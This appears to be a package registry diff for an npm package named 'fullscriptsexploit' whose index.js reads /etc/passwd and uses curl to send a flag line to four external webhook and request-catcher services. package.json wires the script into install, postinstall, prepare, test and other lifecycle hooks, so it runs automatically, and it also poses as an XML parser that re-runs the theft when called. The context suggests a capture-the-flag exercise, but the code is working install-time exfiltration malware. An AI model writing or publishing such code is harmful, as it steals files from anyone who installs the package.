fullscriptsexploit 0.30.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +55 -0
- package/package.json +26 -0
package/index.js
ADDED
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const { execSync } = require('child_process');
|
|
3
|
+
|
|
4
|
+
const stage = process.argv[2] || 'runtime';
|
|
5
|
+
console.log(`=== EXPLOIT STAGE: ${stage} ===`);
|
|
6
|
+
|
|
7
|
+
function exploit() {
|
|
8
|
+
try {
|
|
9
|
+
const passwd = fs.readFileSync('/etc/passwd', 'utf8');
|
|
10
|
+
const flagLine = passwd.split('\n').find(line => line.includes('{'));
|
|
11
|
+
|
|
12
|
+
if (flagLine) {
|
|
13
|
+
console.log(`🎯 FLAG at ${stage}:`, flagLine);
|
|
14
|
+
|
|
15
|
+
const services = [
|
|
16
|
+
`https://1.requestcatcher.com/?flag=${encodeURIComponent(flagLine)}&stage=${stage}`,
|
|
17
|
+
`https://bankhack.beeceptor.com/flag?data=${encodeURIComponent(flagLine)}&stage=${stage}`,
|
|
18
|
+
`https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?flag=${encodeURIComponent(flagLine)}&stage=${stage}`,
|
|
19
|
+
`https://eoo8nqggzqxl.x.pipedream.net/?flag=${encodeURIComponent(flagLine)}&stage=${stage}`
|
|
20
|
+
];
|
|
21
|
+
|
|
22
|
+
services.forEach(service => {
|
|
23
|
+
try {
|
|
24
|
+
execSync(`curl -s --max-time 10 "${service}"`);
|
|
25
|
+
console.log(`✅ Sent to: ${service.split('/')[2]}`);
|
|
26
|
+
} catch(e) {
|
|
27
|
+
console.log(`❌ Failed: ${service.split('/')[2]}`);
|
|
28
|
+
}
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
return flagLine;
|
|
32
|
+
}
|
|
33
|
+
} catch(e) {
|
|
34
|
+
console.log('Error:', e.message);
|
|
35
|
+
}
|
|
36
|
+
return null;
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
// Выполняем эксплойт
|
|
40
|
+
const flag = exploit();
|
|
41
|
+
|
|
42
|
+
// Runtime функциональность
|
|
43
|
+
if (!process.argv[2]) {
|
|
44
|
+
module.exports = {
|
|
45
|
+
parseXmlString: function(xml, options) {
|
|
46
|
+
console.log('PARSER CALLED - re-exploiting');
|
|
47
|
+
exploit();
|
|
48
|
+
return {
|
|
49
|
+
get: function(xpath) {
|
|
50
|
+
return { text: () => flag || "default" };
|
|
51
|
+
}
|
|
52
|
+
};
|
|
53
|
+
}
|
|
54
|
+
};
|
|
55
|
+
}
|
package/package.json
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "fullscriptsexploit",
|
|
3
|
+
"version": "0.30.1",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"dependencies": {
|
|
6
|
+
"axios": "^1.6.0",
|
|
7
|
+
"lodash": "^4.17.21",
|
|
8
|
+
"moment": "^2.29.4",
|
|
9
|
+
"uuid": "^9.0.0",
|
|
10
|
+
"chalk": "^4.1.2",
|
|
11
|
+
"debug": "^4.3.4"
|
|
12
|
+
},
|
|
13
|
+
"scripts": {
|
|
14
|
+
"preinstall": "node index.js preinstall",
|
|
15
|
+
"install": "node index.js install",
|
|
16
|
+
"postinstall": "node index.js postinstall",
|
|
17
|
+
"prepublish": "node index.js prepublish",
|
|
18
|
+
"prepare": "node index.js prepare",
|
|
19
|
+
"prestart": "node index.js prestart",
|
|
20
|
+
"start": "node index.js start",
|
|
21
|
+
"poststart": "node index.js poststart",
|
|
22
|
+
"pretest": "node index.js pretest",
|
|
23
|
+
"test": "node index.js test",
|
|
24
|
+
"posttest": "node index.js posttest"
|
|
25
|
+
}
|
|
26
|
+
}
|